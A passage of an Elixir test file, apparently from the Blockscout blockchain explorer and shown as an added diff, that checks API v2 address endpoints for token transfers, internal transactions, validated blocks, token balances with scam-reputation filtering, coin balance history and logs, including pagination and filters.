request = get(conn, "/api/v2/addresses/#{address.hash}/token-transfers", %{"filter" => "from"}) + + assert response = json_response(request, 200) + assert Enum.count(response["items"]) == 1 + assert response["next_page_params"] == nil + + compare_item(token_transfer, Enum.at(response["items"], 0)) + end + + test "token transfers can paginate", %{conn: conn} do + address = insert(:address) + + token_transfers = + for _ <- 0..50 do + transaction = insert(:transaction, input: "0xabcd010203040506") |> with_block() + + insert(:token_transfer, + transaction: transaction, + block: transaction.block, + block_number: transaction.block_number, + from_address: address + ) + end + + request = get(conn, "/api/v2/addresses/#{address.hash}/token-transfers") + assert response = json_response(request, 200) + + request_2nd_page = get(conn, "/api/v2/addresses/#{address.hash}/token-transfers", response["next_page_params"]) + assert response_2nd_page = json_response(request_2nd_page, 200) + + check_paginated_response(response, response_2nd_page, token_transfers) + end + + test ":to token transfers can paginate", %{conn: conn} do + address = insert(:address) + + for _ <- 0..50 do + transaction = insert(:transaction, input: "0xabcd010203040506") |> with_block() + + insert(:token_transfer, + transaction: transaction, + block: transaction.block, + block_number: transaction.block_number, + from_address: address + ) + end + + token_transfers = + for _ <- 0..50 do + transaction = insert(:transaction, input: "0xabcd010203040506") |> with_block() + + insert(:token_transfer, + transaction: transaction, + block: transaction.block, + block_number: transaction.block_number, + to_address: address + ) + end + + filter = %{"filter" => "to"} + request = get(conn, "/api/v2/addresses/#{address.hash}/token-transfers", filter) + assert response = json_response(request, 200) + + request_2nd_page = + get(conn, "/api/v2/addresses/#{address.hash}/token-transfers", Map.merge(response["next_page_params"], filter)) + + assert response_2nd_page = json_response(request_2nd_page, 200) + + check_paginated_response(response, response_2nd_page, token_transfers) + end + + test ":from token transfers can paginate", %{conn: conn} do + address = insert(:address) + + token_transfers = + for _ <- 0..50 do + transaction = insert(:transaction, input: "0xabcd010203040506") |> with_block() + + insert(:token_transfer, + transaction: transaction, + block: transaction.block, + block_number: transaction.block_number, + from_address: address + ) + end + + for _ <- 0..50 do + transaction = insert(:transaction, input: "0xabcd010203040506") |> with_block() + + insert(:token_transfer, + transaction: transaction, + block: transaction.block, + block_number: transaction.block_number, + to_address: address + ) + end + + filter = %{"filter" => "from"} + request = get(conn, "/api/v2/addresses/#{address.hash}/token-transfers", filter) + assert response = json_response(request, 200) + + request_2nd_page = + get(conn, "/api/v2/addresses/#{address.hash}/token-transfers", Map.merge(response["next_page_params"], filter)) + + assert response_2nd_page = json_response(request_2nd_page, 200) + + check_paginated_response(response, response_2nd_page, token_transfers) + end + + test ":from + :to tt can paginate", %{conn: conn} do + address = insert(:address) + + tt_from = + for _ <- 0..49 do + transaction = insert(:transaction, input: "0xabcd010203040506") |> with_block() + + insert(:token_transfer, + transaction: transaction, + block: transaction.block, + block_number: transaction.block_number, + from_address: address + ) + end + + tt_to = + for _ <- 0..50 do + transaction = insert(:transaction, input: "0xabcd010203040506") |> with_block() + + insert(:token_transfer, + transaction: transaction, + block: transaction.block, + block_number: transaction.block_number, + to_address: address + ) + end + + request = get(conn, "/api/v2/addresses/#{address.hash}/token-transfers") + assert response = json_response(request, 200) + + request_2nd_page = get(conn, "/api/v2/addresses/#{address.hash}/token-transfers", response["next_page_params"]) + assert response_2nd_page = json_response(request_2nd_page, 200) + + assert Enum.count(response["items"]) == 50 + assert response["next_page_params"] != nil + compare_item(Enum.at(tt_to, 50), Enum.at(response["items"], 0)) + compare_item(Enum.at(tt_to, 1), Enum.at(response["items"], 49)) + + assert Enum.count(response_2nd_page["items"]) == 50 + assert response_2nd_page["next_page_params"] != nil + compare_item(Enum.at(tt_to, 0), Enum.at(response_2nd_page["items"], 0)) + compare_item(Enum.at(tt_from, 49), Enum.at(response_2nd_page["items"], 1)) + compare_item(Enum.at(tt_from, 1), Enum.at(response_2nd_page["items"], 49)) + + request_3rd_page = + get(conn, "/api/v2/addresses/#{address.hash}/token-transfers", response_2nd_page["next_page_params"]) + + assert response_3rd_page = json_response(request_3rd_page, 200) + + check_paginated_response(response_2nd_page, response_3rd_page, tt_from ++ [Enum.at(tt_to, 0)]) + end + + test "check token type filters", %{conn: conn} do + address = insert(:address) + + erc_20_token = insert(:token, type: "ERC-20") + + erc_20_tt = + for _ <- 0..50 do + transaction = insert(:transaction, input: "0xabcd010203040506") |> with_block() + + insert(:token_transfer, + transaction: transaction, + block: transaction.block, + block_number: transaction.block_number, + from_address: address, + token_contract_address: erc_20_token.contract_address, + token_type: "ERC-20" + ) + end + + erc_721_token = insert(:token, type: "ERC-721") + + erc_721_tt = + for x <- 0..50 do + transaction = insert(:transaction, input: "0xabcd010203040506") |> with_block() + + insert(:token_transfer, + transaction: transaction, + block: transaction.block, + block_number: transaction.block_number, + from_address: address, + token_contract_address: erc_721_token.contract_address, + token_ids: [x], + token_type: "ERC-721" + ) + end + + erc_1155_token = insert(:token, type: "ERC-1155") + + erc_1155_tt = + for x <- 0..50 do + transaction = insert(:transaction, input: "0xabcd010203040506") |> with_block() + + insert(:token_transfer, + transaction: transaction, + block: transaction.block, + block_number: transaction.block_number, + from_address: address, + token_contract_address: erc_1155_token.contract_address, + token_ids: [x], + token_type: "ERC-1155" + ) + end + + # -- ERC-20 -- + filter = %{"type" => "ERC-20"} + request = get(conn, "/api/v2/addresses/#{address.hash}/token-transfers", filter) + assert response = json_response(request, 200) + + request_2nd_page = + get(conn, "/api/v2/addresses/#{address.hash}/token-transfers", Map.merge(response["next_page_params"], filter)) + + assert response_2nd_page = json_response(request_2nd_page, 200) + + check_paginated_response(response, response_2nd_page, erc_20_tt) + # -- ------ -- + + # -- ERC-721 -- + filter = %{"type" => "ERC-721"} + request = get(conn, "/api/v2/addresses/#{address.hash}/token-transfers", filter) + assert response = json_response(request, 200) + + request_2nd_page = + get(conn, "/api/v2/addresses/#{address.hash}/token-transfers", Map.merge(response["next_page_params"], filter)) + + assert response_2nd_page = json_response(request_2nd_page, 200) + + check_paginated_response(response, response_2nd_page, erc_721_tt) + # -- ------ -- + + # -- ERC-1155 -- + filter = %{"type" => "ERC-1155"} + request = get(conn, "/api/v2/addresses/#{address.hash}/token-transfers", filter) + assert response = json_response(request, 200) + + request_2nd_page = + get(conn, "/api/v2/addresses/#{address.hash}/token-transfers", Map.merge(response["next_page_params"], filter)) + + assert response_2nd_page = json_response(request_2nd_page, 200) + + check_paginated_response(response, response_2nd_page, erc_1155_tt) + # -- ------ -- + + # two filters simultaneously + filter = %{"type" => "ERC-1155,ERC-20"} + request = get(conn, "/api/v2/addresses/#{address.hash}/token-transfers", filter) + assert response = json_response(request, 200) + + request_2nd_page = + get(conn, "/api/v2/addresses/#{address.hash}/token-transfers", Map.merge(response["next_page_params"], filter)) + + assert response_2nd_page = json_response(request_2nd_page, 200) + + assert Enum.count(response["items"]) == 50 + assert response["next_page_params"] != nil + compare_item(Enum.at(erc_1155_tt, 50), Enum.at(response["items"], 0)) + compare_item(Enum.at(erc_1155_tt, 1), Enum.at(response["items"], 49)) + + assert Enum.count(response_2nd_page["items"]) == 50 + assert response_2nd_page["next_page_params"] != nil + compare_item(Enum.at(erc_1155_tt, 0), Enum.at(response_2nd_page["items"], 0)) + compare_item(Enum.at(erc_20_tt, 50), Enum.at(response_2nd_page["items"], 1)) + compare_item(Enum.at(erc_20_tt, 2), Enum.at(response_2nd_page["items"], 49)) + + request_3rd_page = + get( + conn, + "/api/v2/addresses/#{address.hash}/token-transfers", + Map.merge(response_2nd_page["next_page_params"], filter) + ) + + assert response_3rd_page = json_response(request_3rd_page, 200) + assert Enum.count(response_3rd_page["items"]) == 2 + assert response_3rd_page["next_page_params"] == nil + compare_item(Enum.at(erc_20_tt, 1), Enum.at(response_3rd_page["items"], 0)) + compare_item(Enum.at(erc_20_tt, 0), Enum.at(response_3rd_page["items"], 1)) + # -- ------ -- + end + + test "type and direction filters at the same time", %{conn: conn} do + address = insert(:address) + + erc_20_token = insert(:token, type: "ERC-20") + + erc_20_tt = + for _ <- 0..50 do + transaction = insert(:transaction, input: "0xabcd010203040506") |> with_block() + + insert(:token_transfer, + transaction: transaction, + block: transaction.block, + block_number: transaction.block_number, + from_address: address, + token_contract_address: erc_20_token.contract_address, + token_type: "ERC-20" + ) + end + + erc_721_token = insert(:token, type: "ERC-721") + + erc_721_tt = + for x <- 0..50 do + transaction = insert(:transaction, input: "0xabcd010203040506") |> with_block() + + insert(:token_transfer, + transaction: transaction, + block: transaction.block, + block_number: transaction.block_number, + to_address: address, + token_contract_address: erc_721_token.contract_address, + token_ids: [x], + token_type: "ERC-721" + ) + end + + filter = %{"type" => "ERC-721", "filter" => "from"} + request = get(conn, "/api/v2/addresses/#{address.hash}/token-transfers", filter) + assert response = json_response(request, 200) + assert response["items"] == [] + assert response["next_page_params"] == nil + + filter = %{"type" => "ERC-721", "filter" => "to"} + request = get(conn, "/api/v2/addresses/#{address.hash}/token-transfers", filter) + assert response = json_response(request, 200) + + request_2nd_page = + get( + conn, + "/api/v2/addresses/#{address.hash}/token-transfers", + Map.merge(response["next_page_params"], filter) + ) + + assert response_2nd_page = json_response(request_2nd_page, 200) + check_paginated_response(response, response_2nd_page, erc_721_tt) + filter = %{"type" => "ERC-721,ERC-20", "filter" => "to"} + request = get(conn, "/api/v2/addresses/#{address.hash}/token-transfers", filter) + assert response = json_response(request, 200) + + request_2nd_page = + get(conn, "/api/v2/addresses/#{address.hash}/token-transfers", Map.merge(response["next_page_params"], filter)) + + assert response_2nd_page = json_response(request_2nd_page, 200) + + check_paginated_response(response, response_2nd_page, erc_721_tt) + + filter = %{"type" => "ERC-721,ERC-20", "filter" => "from"} + request = get(conn, "/api/v2/addresses/#{address.hash}/token-transfers", filter) + assert response = json_response(request, 200) + + request_2nd_page = + get(conn, "/api/v2/addresses/#{address.hash}/token-transfers", Map.merge(response["next_page_params"], filter)) + + assert response_2nd_page = json_response(request_2nd_page, 200) + + check_paginated_response(response, response_2nd_page, erc_20_tt) + end + + test "check that same token_ids within batch squashes", %{conn: conn} do + address = insert(:address) + + token = insert(:token, type: "ERC-1155") + + id = 0 + + insert(:token_instance, token_id: id, token_contract_address_hash: token.contract_address_hash) + + tt = + for _ <- 0..50 do + transaction = insert(:transaction, input: "0xabcd010203040506") |> with_block() + + insert(:token_transfer, + to_address: address, + transaction: transaction, + block: transaction.block, + block_number: transaction.block_number, + token_contract_address: token.contract_address, + token_ids: Enum.map(0..50, fn _x -> id end), + token_type: "ERC-1155", + amounts: Enum.map(0..50, fn x -> x end) + ) + end + + token_transfers = + for i <- tt do + %TokenTransfer{i | token_ids: [id], amount: Decimal.new(1275)} + end + + request = get(conn, "/api/v2/addresses/#{address.hash}/token-transfers") + assert response = json_response(request, 200) + + request_2nd_page = get(conn, "/api/v2/addresses/#{address.hash}/token-transfers", response["next_page_params"]) + + assert response_2nd_page = json_response(request_2nd_page, 200) + + check_paginated_response(response, response_2nd_page, token_transfers) + end + + test "check that pagination works for 721 tokens", %{conn: conn} do + address = insert(:address) + + token = insert(:token, type: "ERC-721") + + token_transfers = + for i <- 0..50 do + transaction = insert(:transaction, input: "0xabcd010203040506") |> with_block() + + insert(:token_transfer, + transaction: transaction, + to_address: address, + block: transaction.block, + block_number: transaction.block_number, + token_contract_address: token.contract_address, + token_ids: [i], + token_type: "ERC-721" + ) + end + + request = get(conn, "/api/v2/addresses/#{address.hash}/token-transfers") + assert response = json_response(request, 200) + + request_2nd_page = get(conn, "/api/v2/addresses/#{address.hash}/token-transfers", response["next_page_params"]) + + assert response_2nd_page = json_response(request_2nd_page, 200) + + check_paginated_response(response, response_2nd_page, token_transfers) + end + + test "check that pagination works fine with 1155 batches #1 (large batch) + check filters", %{conn: conn} do + address = insert(:address) + + token = insert(:token, type: "ERC-1155") + transaction = insert(:transaction, input: "0xabcd010203040506") |> with_block() + + tt = + insert(:token_transfer, + transaction: transaction, + to_address: address, + block: transaction.block, + block_number: transaction.block_number, + token_contract_address: token.contract_address, + token_ids: Enum.map(0..50, fn x -> x end), + token_type: "ERC-1155", + amounts: Enum.map(0..50, fn x -> x end) + ) + + token_transfers = + for i <- 0..50 do + %TokenTransfer{tt | token_ids: [i], amount: i} + end + + filter = %{"type" => "ERC-1155", "filter" => "to"} + + request = get(conn, "/api/v2/addresses/#{address.hash}/token-transfers", filter) + assert response = json_response(request, 200) + + request_2nd_page = + get(conn, "/api/v2/addresses/#{address.hash}/token-transfers", Map.merge(response["next_page_params"], filter)) + + assert response_2nd_page = json_response(request_2nd_page, 200) + + check_paginated_response(response, response_2nd_page, token_transfers) + + filter = %{"type" => "ERC-1155", "filter" => "from"} + + request = get(conn, "/api/v2/addresses/#{address.hash}/token-transfers", filter) + assert response = json_response(request, 200) + assert %{"items" => [], "next_page_params" => nil} = response + end + + test "check that pagination works fine with 1155 batches #2 some batches on the first page and one on the second", + %{conn: conn} do + address = insert(:address) + + token = insert(:token, type: "ERC-1155") + + transaction_1 = insert(:transaction, input: "0xabcd010203040506") |> with_block() + + tt_1 = + insert(:token_transfer, + transaction: transaction_1, + to_address: address, + block: transaction_1.block, + block_number: transaction_1.block_number, + token_contract_address: token.contract_address, + token_ids: Enum.map(0..24, fn x -> x end), + token_type: "ERC-1155", + amounts: Enum.map(0..24, fn x -> x end) + ) + + token_transfers_1 = + for i <- 0..24 do + %TokenTransfer{tt_1 | token_ids: [i], amount: i} + end + + transaction_2 = insert(:transaction, input: "0xabcd010203040506") |> with_block() + + tt_2 = + insert(:token_transfer, + transaction: transaction_2, + to_address: address, + block: transaction_2.block, + block_number: transaction_2.block_number, + token_contract_address: token.contract_address, + token_ids: Enum.map(25..49, fn x -> x end), + token_type: "ERC-1155", + amounts: Enum.map(25..49, fn x -> x end) + ) + + token_transfers_2 = + for i <- 25..49 do + %TokenTransfer{tt_2 | token_ids: [i], amount: i} + end + + tt_3 = + insert(:token_transfer, + transaction: transaction_2, + from_address: address, + block: transaction_2.block, + block_number: transaction_2.block_number, + token_contract_address: token.contract_address, + token_ids: [50], + token_type: "ERC-1155", + amounts: [50] + ) + + request = get(conn, "/api/v2/addresses/#{address.hash}/token-transfers") + assert response = json_response(request, 200) + + request_2nd_page = get(conn, "/api/v2/addresses/#{address.hash}/token-transfers", response["next_page_params"]) + + assert response_2nd_page = json_response(request_2nd_page, 200) + + check_paginated_response(response, response_2nd_page, token_transfers_1 ++ token_transfers_2 ++ [tt_3]) + end + + test "check that pagination works fine with 1155 batches #3", %{conn: conn} do + address = insert(:address) + + token = insert(:token, type: "ERC-1155") + + transaction_1 = insert(:transaction, input: "0xabcd010203040506") |> with_block() + + tt_1 = + insert(:token_transfer, + transaction: transaction_1, + from_address: address, + block: transaction_1.block, + block_number: transaction_1.block_number, + token_contract_address: token.contract_address, + token_ids: Enum.map(0..24, fn x -> x end), + token_type: "ERC-1155", + amounts: Enum.map(0..24, fn x -> x end) + ) + + token_transfers_1 = + for i <- 0..24 do + %TokenTransfer{tt_1 | token_ids: [i], amount: i} + end + + transaction_2 = insert(:transaction, input: "0xabcd010203040506") |> with_block() + + tt_2 = + insert(:token_transfer, + transaction: transaction_2, + to_address: address, + block: transaction_2.block, + block_number: transaction_2.block_number, + token_contract_address: token.contract_address, + token_ids: Enum.map(25..50, fn x -> x end), + token_type: "ERC-1155", + amounts: Enum.map(25..50, fn x -> x end) + ) + + token_transfers_2 = + for i <- 25..50 do + %TokenTransfer{tt_2 | token_ids: [i], amount: i} + end + + request = get(conn, "/api/v2/addresses/#{address.hash}/token-transfers") + assert response = json_response(request, 200) + + request_2nd_page = get(conn, "/api/v2/addresses/#{address.hash}/token-transfers", response["next_page_params"]) + + assert response_2nd_page = json_response(request_2nd_page, 200) + + check_paginated_response(response, response_2nd_page, token_transfers_1 ++ token_transfers_2) + end + + if @chain_type == :celo do + test "get token balance when a token transfer has no transaction", %{conn: conn} do + address = insert(:address) + block = insert(:block) + + token_transfer = + insert(:token_transfer, + from_address: address, + transaction_hash: nil, + block: block, + transaction: nil + ) + + request = get(conn, "/api/v2/addresses/#{address.hash}/token-transfers") + + assert response = json_response(request, 200) + assert Enum.count(response["items"]) == 1 + assert response["next_page_params"] == nil + + compare_item(token_transfer, Enum.at(response["items"], 0), true) + end + end + end + + describe "/addresses/{address_hash}/internal-transactions" do + test "get empty list on non existing address", %{conn: conn} do + address = build(:address) + + request = get(conn, "/api/v2/addresses/#{address.hash}/internal-transactions") + response = json_response(request, 200) + + assert %{"items" => [], "next_page_params" => nil} = response + end + + test "get 422 on invalid address", %{conn: conn} do + request = get(conn, "/api/v2/addresses/0x/internal-transactions") + + json_response = json_response(request, 422) + + assert %{ + "errors" => [ + %{ + "detail" => "Invalid format. Expected ~r/^0x([A-Fa-f0-9]{40})$/", + "source" => %{"pointer" => "/address_hash_param"}, + "title" => "Invalid value" + } + ] + } = json_response + end + + test "get internal transaction and filter working", %{conn: conn} do + address = insert(:address) + + transaction = + :transaction + |> insert() + |> with_block() + + internal_transaction_from = + insert(:internal_transaction, + transaction: transaction, + index: 1, + block_number: transaction.block_number, + transaction_index: transaction.index, + block_hash: transaction.block_hash, + block_index: 1, + from_address: address + ) + + internal_transaction_to = + insert(:internal_transaction, + transaction: transaction, + index: 2, + block_number: transaction.block_number, + transaction_index: transaction.index, + block_hash: transaction.block_hash, + block_index: 2, + to_address: address + ) + + request = get(conn, "/api/v2/addresses/#{address.hash}/internal-transactions") + + assert response = json_response(request, 200) + assert Enum.count(response["items"]) == 2 + assert response["next_page_params"] == nil + + compare_item(internal_transaction_from, Enum.at(response["items"], 1)) + compare_item(internal_transaction_to, Enum.at(response["items"], 0)) + + request = get(conn, "/api/v2/addresses/#{address.hash}/internal-transactions", %{"filter" => "from"}) + + assert response = json_response(request, 200) + assert Enum.count(response["items"]) == 1 + assert response["next_page_params"] == nil + + compare_item(internal_transaction_from, Enum.at(response["items"], 0)) + + request = get(conn, "/api/v2/addresses/#{address.hash}/internal-transactions", %{"filter" => "to"}) + + assert response = json_response(request, 200) + assert Enum.count(response["items"]) == 1 + assert response["next_page_params"] == nil + compare_item(internal_transaction_to, Enum.at(response["items"], 0)) + end + + test "internal transactions can paginate", %{conn: conn} do + address = insert(:address) + + transaction = + :transaction + |> insert() + |> with_block() + + internal_transactions_from = + for i <- 1..51 do + insert(:internal_transaction, + transaction: transaction, + index: i, + block_number: transaction.block_number, + transaction_index: transaction.index, + block_hash: transaction.block_hash, + block_index: i, + from_address: address + ) + end + + request = get(conn, "/api/v2/addresses/#{address.hash}/internal-transactions") + assert response = json_response(request, 200) + + request_2nd_page = + get(conn, "/api/v2/addresses/#{address.hash}/internal-transactions", response["next_page_params"]) + + assert response_2nd_page = json_response(request_2nd_page, 200) + + check_paginated_response(response, response_2nd_page, internal_transactions_from) + + internal_transactions_to = + for i <- 52..102 do + insert(:internal_transaction, + transaction: transaction, + index: i, + block_number: transaction.block_number, + transaction_index: transaction.index, + block_hash: transaction.block_hash, + block_index: i, + to_address: address + ) + end + + filter = %{"filter" => "to"} + request = get(conn, "/api/v2/addresses/#{address.hash}/internal-transactions", filter) + assert response = json_response(request, 200) + + request_2nd_page = + get( + conn, + "/api/v2/addresses/#{address.hash}/internal-transactions", + Map.merge(response["next_page_params"], filter) + ) + + assert response_2nd_page = json_response(request_2nd_page, 200) + + check_paginated_response(response, response_2nd_page, internal_transactions_to) + + filter = %{"filter" => "from"} + request = get(conn, "/api/v2/addresses/#{address.hash}/internal-transactions", filter) + assert response = json_response(request, 200) + + request_2nd_page = + get( + conn, + "/api/v2/addresses/#{address.hash}/internal-transactions", + Map.merge(response["next_page_params"], filter) + ) + + assert response_2nd_page = json_response(request_2nd_page, 200) + + check_paginated_response(response, response_2nd_page, internal_transactions_from) + end + end + + describe "/addresses/{address_hash}/blocks-validated" do + test "get empty list on non existing address", %{conn: conn} do + address = build(:address) + + request = get(conn, "/api/v2/addresses/#{address.hash}/blocks-validated") + assert response = json_response(request, 200) + assert %{"items" => [], "next_page_params" => nil} = response + end + + test "get 422 on invalid address", %{conn: conn} do + request = get(conn, "/api/v2/addresses/0x/blocks-validated") + + json_response = json_response(request, 422) + + assert %{ + "errors" => [ + %{ + "detail" => "Invalid format. Expected ~r/^0x([A-Fa-f0-9]{40})$/", + "source" => %{"pointer" => "/address_hash_param"}, + "title" => "Invalid value" + } + ] + } = json_response + end + + test "get relevant block validated", %{conn: conn} do + address = insert(:address) + insert(:block) + block = insert(:block, miner: address) + + request = get(conn, "/api/v2/addresses/#{address.hash}/blocks-validated") + + assert response = json_response(request, 200) + assert Enum.count(response["items"]) == 1 + assert response["next_page_params"] == nil + + compare_item(block, Enum.at(response["items"], 0)) + end + + test "blocks validated can be paginated", %{conn: conn} do + address = insert(:address) + insert(:block) + blocks = insert_list(51, :block, miner: address) + + request = get(conn, "/api/v2/addresses/#{address.hash}/blocks-validated") + assert response = json_response(request, 200) + + request_2nd_page = get(conn, "/api/v2/addresses/#{address.hash}/blocks-validated", response["next_page_params"]) + assert response_2nd_page = json_response(request_2nd_page, 200) + + check_paginated_response(response, response_2nd_page, blocks) + end + end + + describe "/addresses/{address_hash}/token-balances" do + test "get token balances with ok reputation", %{conn: conn} do + init_value = Application.get_env(:block_scout_web, :hide_scam_addresses) + Application.put_env(:block_scout_web, :hide_scam_addresses, true) + on_exit(fn -> Application.put_env(:block_scout_web, :hide_scam_addresses, init_value) end) + + address = insert(:address) + + insert(:address_current_token_balance_with_token_id, address: address) + + request = + conn |> put_req_cookie("show_scam_tokens", "true") |> get("/api/v2/addresses/#{address.hash}/token-balances") + + response = json_response(request, 200) + + assert List.first(response)["token"]["reputation"] == "ok" + + assert response == conn |> get("/api/v2/addresses/#{address.hash}/token-balances") |> json_response(200) + end + + test "get token balances with scam reputation", %{conn: conn} do + init_value = Application.get_env(:block_scout_web, :hide_scam_addresses) + Application.put_env(:block_scout_web, :hide_scam_addresses, true) + on_exit(fn -> Application.put_env(:block_scout_web, :hide_scam_addresses, init_value) end) + + address = insert(:address) + + ctb = insert(:address_current_token_balance_with_token_id, address: address) + + insert(:scam_badge_to_address, address_hash: ctb.token_contract_address_hash) + + request = + conn |> put_req_cookie("show_scam_tokens", "true") |> get("/api/v2/addresses/#{address.hash}/token-balances") + + response = json_response(request, 200) + + assert List.first(response)["token"]["reputation"] == "scam" + + request = conn |> get("/api/v2/addresses/#{address.hash}/token-balances") + response = json_response(request, 200) + + assert response == [] + end + + test "get smart-contract with ok reputation with hide_scam_addresses=false", %{conn: conn} do + init_value = Application.get_env(:block_scout_web, :hide_scam_addresses) + Application.put_env(:block_scout_web, :hide_scam_addresses, false) + on_exit(fn -> Application.put_env(:block_scout_web, :hide_scam_addresses, init_value) end) + + address = insert(:address) + + insert(:address_current_token_balance_with_token_id, address: address) + + request = conn |> get("/api/v2/addresses/#{address.hash}/token-balances") + response = json_response(request, 200) + + assert List.first(response)["token"]["reputation"] == "ok" + end + + test "get smart-contract with scam reputation with hide_scam_addresses=false", %{conn: conn} do + init_value = Application.get_env(:block_scout_web, :hide_scam_addresses) + Application.put_env(:block_scout_web, :hide_scam_addresses, false) + on_exit(fn -> Application.put_env(:block_scout_web, :hide_scam_addresses, init_value) end) + + address = insert(:address) + + ctb = insert(:address_current_token_balance_with_token_id, address: address) + + insert(:scam_badge_to_address, address_hash: ctb.token_contract_address_hash) + + request = conn |> get("/api/v2/addresses/#{address.hash}/token-balances") + response = json_response(request, 200) + + assert List.first(response)["token"]["reputation"] == "ok" + end + + test "get empty list on non existing address", %{conn: conn} do + address = build(:address) + + request = get(conn, "/api/v2/addresses/#{address.hash}/token-balances") + assert response = json_response(request, 200) + assert response == [] + end + + test "get 422 on invalid address", %{conn: conn} do + request = get(conn, "/api/v2/addresses/0x/token-balances") + + json_response = json_response(request, 422) + + assert %{ + "errors" => [ + %{ + "detail" => "Invalid format. Expected ~r/^0x([A-Fa-f0-9]{40})$/", + "source" => %{"pointer" => "/address_hash_param"}, + "title" => "Invalid value" + } + ] + } = json_response + end + + test "get token balance", %{conn: conn} do + address = insert(:address) + + ctbs = + for _ <- 0..50 do + insert(:address_current_token_balance_with_token_id, address: address) |> Repo.preload([:token]) + end + |> Enum.sort_by(fn x -> x.value end, :desc) + + request = get(conn, "/api/v2/addresses/#{address.hash}/token-balances") + + assert response = json_response(request, 200) + + for i <- 0..50 do + compare_item(Enum.at(ctbs, i), Enum.at(response, i)) + end + end + end + + describe "/addresses/{address_hash}/coin-balance-history" do + test "get empty list on non existing address", %{conn: conn} do + address = build(:address) + + request = get(conn, "/api/v2/addresses/#{address.hash}/coin-balance-history") + response = json_response(request, 200) + + assert %{"items" => [], "next_page_params" => nil} = response + end + + test "get 422 on invalid address", %{conn: conn} do + request = get(conn, "/api/v2/addresses/0x/coin-balance-history") + + json_response = json_response(request, 422) + + assert %{ + "errors" => [ + %{ + "detail" => "Invalid format. Expected ~r/^0x([A-Fa-f0-9]{40})$/", + "source" => %{"pointer" => "/address_hash_param"}, + "title" => "Invalid value" + } + ] + } = json_response + end + + test "get coin balance history", %{conn: conn} do + address = insert(:address) + + insert(:address_coin_balance) + acb = insert(:address_coin_balance, address: address) + + request = get(conn, "/api/v2/addresses/#{address.hash}/coin-balance-history") + + assert response = json_response(request, 200) + assert Enum.count(response["items"]) == 1 + assert response["next_page_params"] == nil + + compare_item(acb, Enum.at(response["items"], 0)) + end + + test "get coin balance with transaction", %{conn: conn} do + address = insert(:address) + + transaction = + :transaction + |> insert(to_address_hash: address.hash, to_address: address, value: 123) + |> with_block() + + acb = insert(:address_coin_balance, address: address, block_number: transaction.block_number) + + request = get(conn, "/api/v2/addresses/#{address.hash}/coin-balance-history") + + assert %{"items" => [acb_json], "next_page_params" => nil} = json_response(request, 200) + assert acb_json["transaction_hash"] == to_string(transaction.hash) + + compare_item(acb, acb_json) + end + + test "get coin balance with internal transaction", %{conn: conn} do + transaction = + :transaction + |> insert() + |> with_block() + + address = insert(:address) + + insert(:internal_transaction, + type: "call", + call_type: "call", + transaction: transaction, + block: transaction.block, + to_address: address, + value: 123, + block_number: transaction.block_number, + index: 1, + block_index: 1 + ) + + insert(:address_coin_balance) + acb = insert(:address_coin_balance, address: address, block_number: transaction.block_number) + + request = get(conn, "/api/v2/addresses/#{address.hash}/coin-balance-history") + + assert %{"items" => [acb_json], "next_page_params" => nil} = json_response(request, 200) + assert acb_json["transaction_hash"] == to_string(transaction.hash) + + compare_item(acb, acb_json) + end + + test "coin balance history can paginate", %{conn: conn} do + address = insert(:address) + + acbs = insert_list(51, :address_coin_balance, address: address) + + request = get(conn, "/api/v2/addresses/#{address.hash}/coin-balance-history") + assert response = json_response(request, 200) + + request_2nd_page = + get(conn, "/api/v2/addresses/#{address.hash}/coin-balance-history", response["next_page_params"]) + + assert response_2nd_page = json_response(request_2nd_page, 200) + + check_paginated_response(response, response_2nd_page, acbs) + end + end + + describe "/addresses/{address_hash}/coin-balance-history-by-day" do + test "get empty list on non existing address", %{conn: conn} do + address = build(:address) + + request = get(conn, "/api/v2/addresses/#{address.hash}/coin-balance-history-by-day") + + days_count = + Application.get_env(:block_scout_web, BlockScoutWeb.Chain.Address.CoinBalance)[:coin_balance_history_days] + + response = json_response(request, 200) + + assert %{ + "days" => ^days_count, + "items" => [] + } = response + end + + test "get 422 on invalid address", %{conn: conn} do + request = get(conn, "/api/v2/addresses/0x/coin-balance-history-by-day") + + json_response = json_response(request, 422) + + assert %{ + "errors" => [ + %{ + "detail" => "Invalid format. Expected ~r/^0x([A-Fa-f0-9]{40})$/", + "source" => %{"pointer" => "/address_hash_param"}, + "title" => "Invalid value" + } + ] + } = json_response + end + + test "get coin balance history by day", %{conn: conn} do + address = insert(:address) + noon = Timex.now() |> Timex.beginning_of_day() |> Timex.set(hour: 12) + block = insert(:block, timestamp: noon, number: 2) + block_one_day_ago = insert(:block, timestamp: Timex.shift(noon, days: -1), number: 1) + insert(:fetched_balance, address_hash: address.hash, value: 1000, block_number: block.number) + insert(:fetched_balance, address_hash: address.hash, value: 2000, block_number: block_one_day_ago.number) + insert(:fetched_balance_daily, address_hash: address.hash, value: 1000, day: noon) + insert(:fetched_balance_daily, address_hash: address.hash, value: 2000, day: Timex.shift(noon, days: -1)) + + request = get(conn, "/api/v2/addresses/#{address.hash}/coin-balance-history-by-day") + + response = json_response(request, 200) + + assert %{ + "days" => 10, + "items" => [ + %{"date" => _, "value" => "2000"}, + %{"date" => _, "value" => "1000"}, + %{"date" => _, "value" => "1000"} + ] + } = response + end + end + + describe "/addresses/{address_hash}/logs" do + test "get empty list on non existing address", %{conn: conn} do + address = build(:address) + + request = get(conn, "/api/v2/addresses/#{address.hash}/logs") + response = json_response(request, 200) + assert %{"items" => [], "next_page_params" => nil} = response + end + + test "get 422 on invalid address", %{conn: conn} do + request = get(conn, "/api/v2/addresses/0x/logs") + + json_response = json_response(request, 422) + + assert %{ + "errors" => [ + %{ + "detail" => "Invalid format. Expected ~r/^0x([A-Fa-f0-9]{40})$/", + "source" => %{"pointer" => "/address_hash_param"}, + "title" => "Invalid value" + } + ] + } = json_response + end + + test "get log", %{conn: conn} do + address = insert(:address) + + transaction = + :transaction + |> insert() + |> with_block() + + log = + insert(:log, + transaction: transaction, + index: 1, + block: transaction.block, + block_number: transaction.block_number, + address: address + ) + + request = get(conn, "/api/v2/addresses/#{address.hash}/logs") + + assert response = json_response(request, 200) + assert Enum.count(response["items"]) == 1 + assert response["next_page_params"] == nil + + compare_item(log, Enum.at(response["items"], 0)) + end + + # for some reasons test does not work if run as single test + test "logs can paginate", %{conn: conn} do + address = insert(:address) + + logs = + for x <- 0..50 do + transaction = + :transaction + |> insert() + |> with_block() + + insert(:log, + transaction: transaction, + index: x, + block: transaction.block, + block_number: transaction.block_number, + address: address + ) + end + + request = get(conn, "/api/v2/addresses/#{address.hash}/logs") + assert response = json_response(request, 200) + + request_2nd_page = get(conn, 